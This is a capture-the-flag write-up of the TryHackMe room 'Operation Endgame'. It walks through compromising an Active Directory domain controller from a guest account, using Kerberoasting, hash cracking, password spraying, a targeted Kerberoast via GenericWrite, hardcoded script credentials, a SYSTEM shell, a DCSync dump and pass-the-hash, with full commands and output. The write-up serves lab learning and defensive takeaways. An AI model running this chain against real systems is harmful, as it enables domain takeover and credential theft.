TryHackMeHard

TryHackMe: Operation Endgame

Active Directory chain: guest-account Kerberoasting, password reuse, a targeted Kerberoast via GenericWrite, and hardcoded creds in a PowerShell script leading to a SYSTEM shell.

Stylized illustration of a server rack with a green binary pattern on its drive bays

Room: Operation Endgame

An Active Directory room, starting from nothing but a guest account. Kerberoasting gets a foothold, password reuse and a GenericWrite ACL chain it into a second account, and a leftover automation script on disk hands over the credentials that finish the job.

Initial Enumeration

Nmap Scan

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nmap -A -p- -Pn -n -T4 -vv -oN nmap.txt 10.130.129.65

53/tcp    open  domain            syn-ack Simple DNS Plus
80/tcp    open  http              syn-ack Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec      syn-ack Microsoft Windows Kerberos (server time: 2026-07-16 20:08:14Z)
135/tcp   open  msrpc             syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn       syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap              syn-ack Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http          syn-ack Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA/domainComponent=thm
445/tcp   open  microsoft-ds?     syn-ack
464/tcp   open  kpasswd5?         syn-ack
593/tcp   open  ncacn_http        syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?          syn-ack
3268/tcp  open  ldap              syn-ack Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl? syn-ack
3389/tcp  open  ms-wbt-server     syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=ad.thm.local
9389/tcp  open  mc-nmf            syn-ack .NET Message Framing
Service Info: Host: AD; OS: Windows; CPE: cpe:/o:microsoft:windows

Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and DNS (53) all open on one host is the signature of a Domain Controller. The certificates also leak both the domain and the hostname:

  • Port 389 → domain thm.local
  • Port 3389 → FQDN ad.thm.local
  • Port 443 → CA commonName=thm-LABYRINTH-CA, confirming AD Certificate Services is present

Added to /etc/hosts:

10.130.129.65 ad.thm.local thm.local

SMB & LDAP as Guest

Null auth gets refused, but the guest account is allowed through on both SMB and LDAP:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc smb 10.130.129.65 -u 'guest' -p '' --shares
SMB  10.130.129.65  445  AD  [*] Windows 10 / Server 2019 Build 17763 x64 (name:AD) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  10.130.129.65  445  AD  [+] thm.local\guest:
SMB  10.130.129.65  445  AD  [*] Enumerated shares
SMB  10.130.129.65  445  AD  Share    Permissions  Remark
SMB  10.130.129.65  445  AD  -----    -----------  ------
SMB  10.130.129.65  445  AD  ADMIN$                Remote Admin
SMB  10.130.129.65  445  AD  C$                    Default share
SMB  10.130.129.65  445  AD  IPC$     READ         Remote IPC
SMB  10.130.129.65  445  AD  NETLOGON              Logon server share
SMB  10.130.129.65  445  AD  SYSVOL                Logon server share

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc ldap ad.thm.local -u 'guest' -p ''
LDAP  10.130.129.65  389  AD  [*] Windows 10 / Server 2019 Build 17763 (name:AD) (domain:thm.local)
LDAP  10.130.129.65  389  AD  [+] thm.local\guest:

An anonymous LDAP dump (ldapsearch -x -H ldap://10.130.129.65 -b "dc=thm,dc=local") was worth a shot for credentials hiding in user descriptions, but came up empty — over 350 usernames, almost all tagged with the generic description: Tier 1 User, no passwords in sight.

Kerberoasting as Guest

Since guest authenticates to LDAP, it can enumerate Kerberoastable accounts (users with an SPN set) directly:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc ldap ad.thm.local -u 'guest' -p '' --kerberoasting output_kerberoast.txt
LDAP  10.130.129.65  389  AD  [+] thm.local\guest:
LDAP  10.130.129.65  389  AD  [*] Total of records returned 1
LDAP  10.130.129.65  389  AD  [*] sAMAccountName: CODY_ROY, memberOf: CN=Remote Desktop Users,CN=Builtin,DC=thm,DC=local, pwdLastSet: 2024-05-10 15:06:07.611965
LDAP  10.130.129.65  389  AD  $krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*$7a2....8908a

CODY_ROY is Kerberoastable. Cracking the TGS hash with hashcat recovers the password:

hashcat -m 13100 -a 0 cody_hash.txt /usr/share/wordlists/rockyou.txt -O -w 3
┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc smb ad.thm.local -u 'CODY_ROY' -p 'M[REDACTED]0'
SMB  10.130.129.65  445  AD  [+] thm.local\CODY_ROY:M[REDACTED]0

Password Spraying & BloodHound

evil-winrm refuses the connection (WinRM isn’t listening), but RDP works fine:

┌─[✗]─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $xfreerdp3 /u:CODY_ROY /p:"M[REDACTED]0" /v:ad.thm.local +clipboard /dynamic-resolution

CODY_ROY alone doesn’t have anything interesting, so the natural next move is checking whether other accounts reuse the same password. Spraying it across the full domain user list:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc smb ad.thm.local -u clean_users.txt -p 'M[REDACTED]0' --continue-on-success

ZACHARY_HUNT comes back with the same password. Running BloodHound against the domain and checking ZACHARY_HUNT’s edges turns up a GenericWrite over JERRI_LANCASTER:

BloodHound graph showing ZACHARY_HUNT has GenericWrite over JERRI_LANCASTER

Targeted Kerberoasting via GenericWrite

GenericWrite over a user means their attributes can be edited — including servicePrincipalName. Adding a fake SPN turns JERRI_LANCASTER into a Kerberoastable target on demand:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $bloodyAD -u 'ZACHARY_HUNT' -p 'M[REDACTED]0' -d 'thm.local' --host '10.130.129.65' \
     set object 'JERRI_LANCASTER' servicePrincipalName -v 'http/legit-service.thm.local'
[+] JERRI_LANCASTER's servicePrincipalName has been updated

With the SPN in place, requesting a service ticket for it is a normal Kerberoast:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $impacket-GetUserSPNs thm.local/ZACHARY_HUNT:'M[REDACTED]0' -dc-ip 10.130.129.65 \
     -request-user JERRI_LANCASTER -outputfile jerri_hash.txt

ServicePrincipalName          Name             MemberOf
----------------------------  ---------------  --------------------------------------------------
http/legit-service.thm.local  JERRI_LANCASTER  CN=Reader Admins,OU=Grouper-Groups,DC=thm,DC=local

Cracking the hash recovers the password:

hashcat -m 13100 -a 0 jerri_hash.txt /usr/share/wordlists/rockyou.txt -O -w 3
$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$...:l[REDACTED]e!

Reader Admins alone wasn’t the goal here — Jerri’s real value is Remote Desktop access.

RDP Access & a Leftover Script

xfreerdp3 /v:ad.thm.local /u:'jerri_lancaster' /p:'l[REDACTED]e!' /dynamic-resolution /clipboard /cert:ignore

RDP throws a profile-creation error on login, which is harmless — WIN + Rcmd gets a working shell regardless. Poking around the filesystem, C:\Scripts stands out, and it holds a single file:

C:\Scripts>dir
05/13/2024  06:50 PM               426 syncer.ps1

Reading it turns up hardcoded credentials for SANFORD_DAUGHERTY:

Reading C:\Scripts\syncer.ps1, credential output redacted

Shell as SYSTEM

The credentials check out, and sanford_daugherty is a local administrator on the box — netexec confirms it with (Pwn3d!):

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc smb ad.thm.local -u SANFORD_DAUGHERTY -p 'R[REDACTED]3'
SMB  10.130.129.65  445  AD  [+] thm.local\SANFORD_DAUGHERTY:R[REDACTED]3 (Pwn3d!)

Local admin on the DC is game over. smbexec gets a semi-interactive shell as SYSTEM:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $impacket-smbexec 'THM.LOCAL/SANFORD_DAUGHERTY:R[REDACTED]3@ad.thm.local'
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

Since this is the DC itself, secretsdump is worth running too — DCSync rights come for free with SYSTEM on a domain controller:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $impacket-secretsdump -just-dc thm.local/SANFORD_DAUGHERTY:'R[REDACTED]3'@10.130.129.65
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e599[REDACTED]d1b:::

The Administrator NTLM hash works directly for pass-the-hash — no cracking needed:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $nxc smb 10.130.129.65 -u 'Administrator' -H 'e599[REDACTED]d1b'
SMB  10.130.129.65  445  AD  [+] thm.local\Administrator:e599[REDACTED]d1b (Pwn3d!)

From there, smbclient over the pass-the-hash session reaches the flag:

┌─[lyoo3@parrot]─[~/Desktop/CTFS/operationendgame]
└──╼ $impacket-smbclient -hashes :e599[REDACTED]d1b Administrator@10.130.129.65 -target-ip 10.130.129.65
shares
use C$
cd Users
cd Administrator
cd Desktop
ls
get flag.txt.txt
THM{redacted}

Takeaways

  • The entire chain started from an account with no password at all — guest had just enough LDAP access to enumerate Kerberoastable users, which is all it took to get a foothold.
  • Password reuse (CODY_ROYZACHARY_HUNT) turned one cracked hash into a second account, and from there a single GenericWrite ACL turned into a full account takeover via a self-inflicted Kerberoast.
  • The last mile wasn’t a vulnerability at all — it was an automation script with hardcoded credentials sitting in a world-readable directory. AD hardening tends to focus on ACLs and delegation; leftover scripts on disk are just as often the actual way in.